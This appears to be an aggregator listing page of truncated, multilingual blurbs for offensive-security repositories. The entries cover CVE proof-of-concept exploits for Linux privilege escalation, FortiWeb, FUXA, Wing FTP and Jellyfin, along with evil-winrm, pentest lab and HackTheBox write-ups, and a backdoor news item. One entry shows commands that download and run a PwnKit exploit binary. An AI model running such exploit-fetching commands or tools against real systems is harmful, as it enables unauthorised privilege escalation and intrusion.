GhostLock

GhostLock - эксплойт для локального повышения привилегий CVE-2026-43499 Обзор уязвимости Идентификатор CVE: CVE-2026-43499 Тип уязвимости: UAF Use-After-Free в стеке futex PI наследование приоритета Затронутые версии: ядро Linux 6.1 – 6.12 Android GKI Результат эксплуатации: локальное повышение...

CVE-2020-0023

CVE-2020-0022 Il semble que Android 9-6 aient un sous-système Bluetooth similaire, Android 5 et 4 sont différents. Android 9.0 Expériences BlueFrag Patch: https://android.googlesource.com/platform/system/bt/+/3cb7149d8fed2d7d77ceaa95bf845224c4db3baf Ci-dessous, j'ai atteint la condition corrigée...

evil-winrm v4.1

Evil-WinRM The ultimate WinRM shell for hacking/pentesting Description & Purpose This shell is the ultimate WinRM shell for hacking/pentesting. WinRM Windows Remote Management is the Microsoft implementation of WS-Management Protocol. A standard SOAP based protocol that allows hardware and...

CVE-2025-25257

🚨 CVE-2025-25257 – FortiWeb SQLi를 통한 RCE 심각한 SQL 인젝션 → 웹쉘 실행 발견 및 공격 도구화: 0xgh057r3c0n 🧠 취약점 개요 CVE-2025-25257는 /api/fabric/device/status 엔드포인트를 노출하는 FortiWeb 시스템에 영향을 미치며, 이는 Authorization 헤더 입력을 적절히 검증하지 않습니다. 공격자는 인증 없이 SQL 인젝션을 수행하여 서버에 웹쉘을 작성하고 원격으로 명령을 실행할 수 있습니다. 💥 공격 흐름 root@kitploit: SQL...

CVE-2025-46206

В MuPDF 1.25.6 и более ранних версиях существует уязвимость типа «отказ в обслуживании». Когда злоумышленник выполняет команду «mutool clean poc /dev/null», программа попадает в бесконечную рекурсию между функциями stripoutlines и stripoutline в файле pdf-clean-file.c, пока стек не будет исчерпан...

ubuntu-privesc-lab

ubuntu-privesc-lab Полный рабочий процесс тестирования на проникновение: брутфорс учетных данных, доступ по SSH и повышение привилегий CVE-2021-4034 ОБЗОР Этот проект демонстрирует полный рабочий процесс тестирования на проникновение против уязвимой виртуальной машины Ubuntu. Цепочка атак включае...

TwoMillion-Machine-Writeup

О машине TwoMillion — это лёгкая Linux-машина уровня Easy, выпущенная в честь достижения 2 миллионов пользователей на HackTheBox. Машина содержит старую версию платформы HackTheBox со старым взламываемым инвайт-кодом. После взлома инвайт-кода можно создать учётную запись на платформе. Эта учётная...

metasploitable-pentest-lab

Эксплуатация уязвимостей в Metasploitable Полный цикл реальной атаки в контролируемой и изолированной среде: подготовка лаборатории, разведка с nmap, приоритизация поверхности атаки, привязка к CVE, эксплуатация с Metasploit, пост-эксплуатация, извлечение и взлом учетных данных, и сохранение...

PwnKit-CVE-2021-4034

PwnKit PoC для PwnKit / CVE-2021-4034 — локальное повышение привилегий через Pkexec Эксплуатация Вручную root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command...

New Ted Backdoor Hides Inside Victims' Own HAProxy Builds to Intercept Web Traffic

A previously undocumented Linux toolkit has been found compiled directly into the trojanized HAProxy load balancers of two South Korean organizations, where it intercepted web traffic and served altered pages to selected visitors. The attackers named the implant ted in debug strings left in the...

CVE-2026-25938-FUXA-Unauthenticated-RCE

CVE-2026-25938 - FUXA 未認証RCE 1. FUXAとは？ FUXAは、産業オートメーション 、IoT 、リアルタイムプロセス可視化 に使用される、無料のオープンソースでWebベースのSCADA（Supervisory Control and Data Acquisition ）およびHMI（Human-Machine Interface ）プラットフォームです。ユーザーは高価なプロプライエタリソフトウェアや重いデスクトップエディターを必要とせず、Webブラウザ内でカスタムダッシュボードを構築し、マシンを直接監視できます。 2. 脆弱性の説明...

linux-malware-detect

Linux Malware Detect LMD Malware scanner for Linux — multi-stage threat detection MD5, SHA-256, HEX, YARA, statistical analysis, ClamAV integration, real-time inotify monitoring, quarantine/clean/restore operations, and multi-channel alerting email, Slack, Telegram, Discord. C 2002-2026, R-fx...

opencode v1.18.27

The open source AI coding agent. English | 简体中文 | 繁體中文 | 한국어 | Deutsch | Español | Français | Italiano | Dansk | 日本語 | Polski | Русский | Bosanski | العربية | Norsk | Português Brasil | ไทย | Türkçe | Українська | বাংলা | Ελληνικά | Tiếng Việt Installation root@kitploit: YOLO curl -fsSL...

CVE-2026-35031

CVE-2026-35031: Jellyfin 字幕アップロードのパストラバーサルによるRCE -darkred?style=flat-square -orange?style=flat-square TL;DR Jellyfin Media Server における深刻なパストラバーサル脆弱性により、認証済みユーザーは「字幕をアップロード」権限を持つ場合、ディスク上の任意の場所にファイルをアップロードできます。字幕アップロードエンドポイントの検証されていない Format フィールドを悪用することで、攻撃者は機密性の高い場所にファイルを書き込み、機密データを取得し、権限を昇格させ、最終...

CVE-2025-69985

FUXA ≤ 1.2.8 認証バイパス + RCE CVE-2025-69985 📜 説明 このPythonエクスプロイトは、FUXA（WebベースのSCADA/HMIソフトウェア）バージョン1.2.8以下における深刻な認証バイパス脆弱性であるCVE-2025-69985を標的としています。保護されていない/api/runscriptエンドポイントにNode.jsコードを埋め込んだ細工済みJSONペイロードを送信することで、FUXAプロセスとしてリモートコマンド実行を達成し、レスポンス内で完全なstdout/stderrを同期的に取得します。 🛠️ インストール !NOTE...

CVE-2025-47812-Wing-FTP-Server-7.4.3-Unauthenticated-RCE-PoC

CVE-2025-47812 — Wing FTP Server Wing FTP Server = 7.4.3의 인증되지 않은 원격 코드 실행 취약점입니다. 로그인 중 username 매개변수에 NULL 바이트를 주입하면 Lua 코드가 세션 파일에 기록됩니다. 결과 세션 쿠키로 /dir.html에 접근하면 주입된 코드가 실행됩니다. Linux에서는 root 권한으로, Windows에서는 SYSTEM 권한으로 실행됩니다. 작동 방식 1. 조작된 POST 요청을 /loginok.html로 보내 username 필드에 NULL 바이트와 Lu...

CVE-2025-2304-Camaleon-CMS-Mass-Assignment-Privilege-Escalation-PoC

CVE-2025-2304 — Повышение привилегий через массовое присваивание в Camaleon CMS PoC Уязвимость повышения привилегий в Camaleon CMS /updatedajax с внедрённым passwordrole=admin в параметры пароля. 4. Проверяет, что роль обновлена до admin. Требования Python 3 Установите зависимости: root@kitploit:...

Exploiting-a-vulnerability-using-reverse-shell

Основы информационной безопасности — Проект Весна 2026 Всего баллов: 20 | Крайний срок: Опоздания не принимаются Обзор Этот проект моделирует реальный сценарий атаки и защиты на двух виртуальных машинах. Вы будете эксплуатировать критическую уязвимость RCE до аутентификации CVE-2025-32433 в...

CVE-2015-1328

CVE-2015-1328 Прохождение TryHackMe — повышение привилегий в ядре Linux CVE-2015-1328 Цель Цель этого прохождения — повысить привилегии от пользователя с низким уровнем доступа karen до root путём эксплуатации уязвимого ядра Linux. Шаг 1 — Первичная разведка После подключения к целевой машине по...

CVE-langgraph

cve-id ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, например: Локальные виртуальные машины Docker-контейнеры Изолированные лабораторные стенды Авторизованные среды тестирования на проникновение Пример настройки: root@kitploit: git clone cd Project u...